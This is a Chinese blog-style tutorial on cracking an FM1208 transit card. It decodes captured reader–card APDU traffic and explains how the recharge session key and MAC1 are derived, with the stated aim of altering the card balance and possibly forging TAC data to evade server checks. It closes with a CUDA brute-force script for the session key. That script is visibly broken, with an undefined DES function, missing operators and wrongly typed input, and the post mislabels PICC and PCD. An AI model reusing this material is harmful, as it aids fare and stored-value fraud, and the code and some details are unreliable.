实际上手尝试破解公交卡

  为了提高公交卡的安全性,只为学习研究性质发表!

为什么想到破解公交卡,因为其使用fm1208卡片我正好研究中,也是现阶段的银行卡卡片芯片类型。下面我将直接介绍其破解过程而忽略原理的讲解。

一.抓包数据解析

🌟说明:黄色代表读卡机,白色代表卡片

除去26之类的响应和防冲突的指令不说了直接步入正题

@😊1

02  00  A4  04  00  08  A0  00  00  06  32  01  01  05  00  D4  23 

这里从00开始表示选择文件,文件名为08后8字节数据(创建文件环境)

在交互中出现2次!响应报文数据域即一些简单信息不赘述了对破解没啥用

@😊2

02  00  B2  08  C4  17 

这里从00开始,从00一直到结尾,中间的08好像是从01开始一直读数据

这里读的数据都是一些充值数据应该是做本地记录充值和消费信息(明文)

下面展示一段:

03  00  03  00  00  00  00  00  00  64  02  80  01  00  01  00  00  20 24  11  15  13  45  18  90  00  B0  DE

这一段就表示2024年11月15日13点45分18秒充值64(hex)表示十进制数100即1元

对于该数据不仅保存在卡片上也可能会保存在终端上,所以修改卡片上数据有可能可以刷

也有可能下次消费时直接被服务器端发现,这可能需要伪造tac数据发送至服务器防止被发现

目前没有研究,我主要研究更改卡上数据

还有类似的一两个指令都是查看一些信息就不再赘述了

@😊3

初始化圈存命令

03  80  50  00  02  0B  01  00  00  00  64  80  01  00  01  00  00  27  24

从80开始,cla 80 ; ins 50 ;p1 00 ;p2 02 表示电子钱包;lc 0B ;

01表示密钥标识符;00 00 00 64表示交易金额1元;1表示终端机编号。

响应报文数据域

03  00  00  01  68  00  04  01  00  9D  F3  84  7C  2A  39  E0  5E  90  00  C1  AF

从00开始,00 00 01 68表示卡片余额为十六进制数168(十进制为360)即3.60元人民币

00 04表示电子钱包联机交易序号;01表示密钥版本号;00表示算法标识;9df3847c是卡片产生的伪随机数;2A39E05E为MAC1。

二.圈存原理解析

picc表示读卡机(主机)pcd表示卡片

picc和卡片都有一个load key但不直接使用

MAC是使用session key再通过pboc-mac加密得到

session key 是通过明文数据和随机数等通过load key

采用3des(2keys)加密得到的结果,其主要作用是生成MAC

MAC分为MAC1和MAC2,它们的作用是让picc和pcd各自验证彼此

然后完成圈存后卡片返回一个TAC到服务器,这里就先不研究了

先看卡片上数据如何更改,服务器方面有它的破解方法不一样

以上就是其原理的一般解析,下面我们理清数据实际破解一下

三.破解前的分析和数据整理

(1)第一小节

session key的明文数据00000168(旧余额)+00000064(交易金额)+02(交易类型电子钱包圈存)+800100010000(终端机编号)+80(凑够16字节加密使用)

session key的明文:00000168000000640280010001000080

session key的密文MAC1:2A39E05E(实际应该为16字节,由于只需要验证故只取前4字节)

使用的加密算法:ANSI x99

(2)第二小节

假设已经破解得到了session key,将其表示为SK

load key 的密文即经过3des加密得到的SK

load key 的加密算法3des加密

load key 的明文部分为 inputdata

明文为:9df3847c(卡片产生的随机数)+0004(联机交易序号)+8000(凑够8字节)

(3)第三小节

简单解释一下3des加密和ansi x99加密的原理

3des:密钥前半部分为k1后半部分为k2加密过程为先用k1加密再用k2解密最后再k1加密

解密的过程即将加密的过程反转。

ansix99:将数据打包分成几个八字节块然后与初始值进行异或后再des加密最后得出结果

from numba import cuda

import numpy as np

import time

import binascii

import sys

# CUDA 核心函数:PBOC-MAC 加密和密钥检查

@cuda.jit

def pboc_mac_kernel_with_progress(iv, plaintext, target, keys_per_thread, key_offset, results, found_flag, progress_counter):

    idx = cuda.grid(1)

    start_key = idx * keys_per_thread + key_offset

    for key_index in range(keys_per_thread):

        if found_flag[0]:  # 如果找到密钥,提前退出

            return

        current_key = start_key + key_index

        key = current_key.to_bytes(8, byteorder='big')  # 转换为 8 字节密钥

        # Step 1: 初始向量异或明文前 8 字节

        xor_result = cuda.local.array(8, dtype=np.uint8)

        for i in range(8):

            xor_result[i] = plaintext[i] ^ iv[i]

        # Step 2: DES 加密第一阶段

        des1 = des_encrypt_device(key, xor_result)

        # Step 3: 异或明文后 8 字节

        xor_result2 = cuda.local.array(8, dtype=np.uint8)

        for i in range(8):

            xor_result2[i] = des1[i] ^ plaintext[8 + i]

        # Step 4: DES 加密第二阶段

        des2 = des_encrypt_device(key, xor_result2)

        # 检查密文前 4 字节是否匹配目标

        match = True

        for i in range(4):

            if des2[i] != target[i]:

                match = False

                break

        if match:

            # 记录结果

            for i in range(8):

                results[idx * 8 + i] = key[i]

            found_flag[0] = 1

        # 更新进度计数器

        if idx 0 and key_index % 256 0:

            cuda.atomic.add(progress_counter, 0, 1)

# 主程序:利用 GPU 并行破解密钥

def gpu_brute_force_with_progress(iv, plaintext, target_prefix):

    num_keys = 2**24  # 测试较小的密钥空间(完整 2^64 空间需分片处理)

    keys_per_thread = 256  # 每个线程尝试的密钥数量

    threads_per_block = 256

    blocks_per_grid = (num_keys + keys_per_thread threads_per_block - 1) // (keys_per_thread threads_per_block)

    # 初始化数据

    iv = np.frombuffer(iv, dtype=np.uint8)

    plaintext = np.frombuffer(plaintext, dtype=np.uint8)

    target_prefix = np.frombuffer(target_prefix, dtype=np.uint8)

    results = np.zeros(blocks_per_grid threads_per_block 8, dtype=np.uint8)

    found_flag = np.array([0], dtype=np.uint8)

    progress_counter = np.array([0], dtype=np.uint32)

    # 分配 GPU 内存

    d_iv = cuda.to_device(iv)

    d_plaintext = cuda.to_device(plaintext)

    d_target = cuda.to_device(target_prefix)

    d_results = cuda.to_device(results)

    d_found_flag = cuda.to_device(found_flag)

    d_progress_counter = cuda.to_device(progress_counter)

    # 启动 CUDA 核心函数

    start_time = time.time()

    pboc_mac_kernel_with_progress[blocks_per_grid, threads_per_block](

        d_iv, d_plaintext, d_target, keys_per_thread, 0, d_results, d_found_flag, d_progress_counter

    )

    cuda.synchronize()

    end_time = time.time()

    # 获取结果

    results = d_results.copy_to_host()

    found_flag = d_found_flag.copy_to_host()

    progress_counter = d_progress_counter.copy_to_host()

    # 汇总匹配密钥

    matched_keys = []

    for i in range(blocks_per_grid * threads_per_block):

        if results[i 8: (i + 1) 8].any():

            matched_keys.append(results[i 8: (i + 1) 8])

    # 打印结果

    print("\n--- 计算完成 ---")

    print(f"总耗时: {end_time - start_time:.2f} 秒")

    print(f"尝试密钥数: {num_keys}")

    print(f"每秒尝试密钥: {num_keys / (end_time - start_time):.2f}")

    print("匹配密钥列表:")

    for key in matched_keys:

        print(f"- {binascii.hexlify(key)}")

    print("计算进度: 100%")

# 示例数据

iv = b'\x00' * 8  # 初始向量全为0

plaintext = b'000001680000006402800100010000'  # 明文

partial_ciphertext = b'\x2A\x39\xE0\x5E'  # 密文前4字节

# 执行优化后的穷举破解

gpu_brute_force_with_progress(iv, plaintext, partial_ciphertext)